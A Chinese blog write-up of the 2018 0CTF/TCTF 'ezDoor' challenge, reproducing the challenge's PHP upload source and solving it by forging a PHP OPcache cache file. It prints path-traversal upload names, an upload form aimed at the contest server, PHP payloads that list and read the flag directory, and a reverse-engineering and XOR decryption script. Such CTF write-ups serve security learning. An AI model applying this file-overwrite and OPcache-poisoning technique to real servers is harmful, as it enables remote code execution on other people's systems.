2018 TCTF-0CTF ezDoor writeup

前言

  这次比赛真真感受到了差距,,,这场CTF就是大佬的竞赛场。。。。

ezDoor

  源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

error_reporting(0);

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir . "index.php")){
touch($dir . "index.php");
}

function clear($dir)
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}

switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break;
}

if ($_FILES['file']['size'] > 100000) {
clear($dir);
break;
}

$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
move_uploaded_file($_FILES['file']['tmp_name'], $name);
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
$size += filesize($dir . $file);
}
if ($size > 100000) {
clear($dir);
}
break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}

  这道题的目的很明显,就是替换掉$dir下的"index.php",使得在文件包含的时候执行我们的代码,但在比赛过程中却没能找到突破点,后来看writeup才知道OPcache的知识点。见识限制了我的flag。。。。




  PPS:这道题的覆盖方法又从大佬的博客中学到了一招,我们把上传的名字改成:name=x/../index.php/.,然后上传,即可覆盖掉原有的index.php




1
<?phpecho "23333";?>




  下面是正常解:

  所以这道题的考点就是利用OPcache缓存cache去get shell。关于Opcache的简单介绍如下:

Opcache是一种通过将解析的PHP脚本预编译的字节码存放在共享内存中来避免每次加载和解析PHP脚本的开销,解析器可以直接从共享内存读取已经缓存的字节码,从而大大提高PHP的执行效率。

  当服务器开启OPcache的时候会把正常访问过的文件进行生成缓存文件,然后放到指定的缓存目录下。例如:

  假设缓存根目录为:/tmp/cache;你访问的文件为:/var/www/html/index.php;那么就会生成:/tmp/cache/[system_id]/var/www/html/index.php.bin。如果以后再访问index.php就会从/tmp/cache/[system_id]/var/www/html/index.php.bin文件中读取数据。




  而这里的system_id依照以下规则生成:
1
2
3
4
5
import hashlib
php_version = "7.0.28"
zend_extension_id = "API320151012,NTS"
zend_bin_id = "BIN_SIZEOF_CHAR48888"
system_id = hashlib.md5(php_version+zend_extension_id+zend_bin_id).hexdigest()

  所以我们的目的就转换成上传opcache缓存文件到指定的目录下。

  我们先本地搭建一个跟服务器类似的环境,我们修改php7的配置文件如下:

1
2
3
4
opcache.enable=1
opcache.validate_timestamps=1
opcache.file_cache= "/var/www/html/cache"
opcache.file_cache_only=1

  这里的缓存文件目录可以跟题目给出的/tmp/cache不同,而且在本地搭建的时候发现如果改成/tmp/cache,apache就启动失败。。

  首先我们先得到服务器上的地址,然后本地生成相同的目录文件,并在index.php中写入你想执行的语句。






  然后访问这个文件生成缓存文件。






  接着我们修改一下这个文件,使它符合题目的要求。修改如下,system_id可以通过上述脚本生成,时间通过如下脚本生成:
1
2
3
4
import requests
print requests.get('http://202.120.7.217:9527/index.php?action=time').content
print requests.get('http://202.120.7.217:9527/index.php?action=reset').content
print requests.get('http://202.120.7.217:9527/index.php?action=time').content

  注意需要将时间转成16进制,最终结果:




  我们上传的目标地址是:
1
../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/9549f3458b234bf288beb2cbc30bef119e5f3a91/index.php.bin

  在本地写个上传脚本:

1
2
3
4
5
6
7
<form target="_blank" action="http://202.120.7.217:9527/?action=upload&name=../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/9549f3458b234bf288beb2cbc30bef119e5f3a91/index.php.bin" method="post" enctype="multipart/form-data">
<h2><br>文件上传<br></h2>
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

  上传,访问,然后会发现一片空白。。。。这也是我疑惑的地方,后来认真看其他的writeup才知道后台过滤了一些函数。




  能用的payload为:
1
2
<?php
print_r(scandir('/var/www/html/flag'));

  我们再进行上面的操作,发现确实可行,我们可以发现一个文件。




  读取文件内容。
1
2
<?php
print_r(file_get_contents('/var/www/html/flag/93f4c28c0cf0b07dfd7012dca2cb868cc0228cad'));

  再次上传,访问。




  可以得到一堆乱码的内容,但可以看出还是opcache生成的缓存文件,我们尝试恢复一下。
1
2
3
4
5
import requests
html = requests.get('http://202.120.7.217:9527/index.php?action=shell').content
file = open('flag.bin', 'wb')
file.write(html)
file.close()

  在对比正常的文件后发现缺少了个00字节,所以给补上。




  使用工具将flag.bin还原成汇编,地址:Github
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
root@kali:~/php7-opcache-override/analysis_tools# ./opcache_disassembler.py -c -a64 flag.bin 

function encrypt() {
#0 !0 = RECV(None, None);
#1 !0 = RECV(None, None);
#2 DO_FCALL_BY_NAME(None, 'mt_srand');
#3 SEND_VAL(1337, None);
#4 (129)?(None, None);
#5 ASSIGN(!0, '');
#6 (121)?(!0, None);
#7 ASSIGN(None, None);
#8 (121)?(!0, None);
#9 ASSIGN(None, None);
#10 ASSIGN(None, 0);
#11 JMP(->-24, None);
#12 DO_FCALL_BY_NAME(None, 'chr');
#13 DO_FCALL_BY_NAME(None, 'ord');
#14 FETCH_DIM_R(!0, None);
#15 (117)?(None, None);
#16 (129)?(None, None);
#17 DO_FCALL_BY_NAME(None, 'ord');
#18 MOD(None, None);
#19 FETCH_DIM_R(!0, None);
#20 (117)?(None, None);
#21 (129)?(None, None);
#22 BW_XOR(None, None);
#23 DO_FCALL_BY_NAME(None, 'mt_rand');
#24 SEND_VAL(0, None);
#25 SEND_VAL(255, None);
#26 (129)?(None, None);
#27 BW_XOR(None, None);
#28 SEND_VAL(None, None);
#29 (129)?(None, None);
#30 ASSIGN_CONCAT(!0, None);
#31 PRE_INC(None, None);
#32 IS_SMALLER(None, None);
#33 JMPNZ(None, ->134217662);
#34 DO_FCALL_BY_NAME(None, 'encode');
#35 (117)?(!0, None);
#36 (130)?(None, None);
#37 RETURN(None, None);

}
function encode() {
#0 RECV(None, None);
#1 ASSIGN(None, '');
#2 ASSIGN(None, 0);
#3 JMP(->-81, None);
#4 DO_FCALL_BY_NAME(None, 'dechex');
#5 DO_FCALL_BY_NAME(None, 'ord');
#6 FETCH_DIM_R(None, None);
#7 (117)?(None, None);
#8 (129)?(None, None);
#9 (117)?(None, None);
#10 (129)?(None, None);
#11 ASSIGN(None, None);
#12 (121)?(None, None);
#13 IS_EQUAL(None, 1);
#14 JMPZ(None, ->-94);
#15 CONCAT('0', None);
#16 ASSIGN_CONCAT(None, None);
#17 JMP(->-96, None);
#18 ASSIGN_CONCAT(None, None);
#19 PRE_INC(None, None);
#20 (121)?(None, None);
#21 IS_SMALLER(None, None);
#22 JMPNZ(None, ->134217612);
#23 RETURN(None, None);

}

#0 ASSIGN(None, 'input_your_flag_here');
#1 DO_FCALL_BY_NAME(None, 'encrypt');
#2 SEND_VAL('this_is_a_very_secret_key', None);
#3 (117)?(None, None);
#4 (130)?(None, None);
#5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');
#6 JMPZ(None, ->-136);
#7 ECHO('Congratulation! You got it!', None);
#8 EXIT(None, None);
#9 ECHO('Wrong Answer', None);
#10 EXIT(None, None);

  接下来就是逆向了。另外一种查看opcache代码的工具就是VLD插件

  由于逆向没有经验,所以直接放出dalao的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
def encode(data):
return output.encode('hex')
def encrypt(flag,strings):
mt_srand(1337)
output = ""
for i in range(len(flag)):
output += chr(ord(flag[i])^ord(strings[i])^mt_rand(0,255))
return encode(output)
flag = raw_input('input_your_flag_here')
if encrypt(flag,this_is_a_very_secret_key)==="85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab":
print 'Congratulation! You got it!'
else:
'Wrong Answer'

  解密脚本:

1
2
3
4
5
6
7
8
9
10
data = [151,189,92,232,167,217,167,90,114,82,84,72,9,134,182,90,23,152,129,27,93,6,22,114,194,105,104,203,65,60,215,147,238,81,111,91,179,57,195,148,8,72,61,71,122,91,137,196,223,225,76,134,196,244,114]

opt = "85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab".decode("hex")

data2 = "this_is_a_very_secret_key"
flag = ""
for i in range(len(opt)):
flag += chr(data[i]^ord(opt[i])^ord(data2[i%len(data2)]))

print flag

  最后得到flag:flag{0pc4che_b4ckd00r_is_4_g0o6_ide4}

总结

  这道题是没有一点花花肠子的,源码、目的都非常明确,自己在做题的过程中也在不断的google,包括扩展名绕过、linux是不是有什么文件覆盖的新套路等等,但都没有正确的get到出题人的意思,归根结底还是自己的基础知识太过薄弱,,还有就是信息搜索的能力不够强大,当时还真有念头把phpinfo的每个模块都拿出来google一下,但结果却没有执行。以后一定得注意对phpinfo的内容进行深入挖掘

  参考链接:

    https://www.cdxy.me/?p=790

    https://www.bertramc.cn/2018/04/02/53.html

    https://github.com/GoSecure/php7-opcache-override

    http://gosecure.net/2016/04/27/binary-webshell-through-opcache-in-php-7/

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×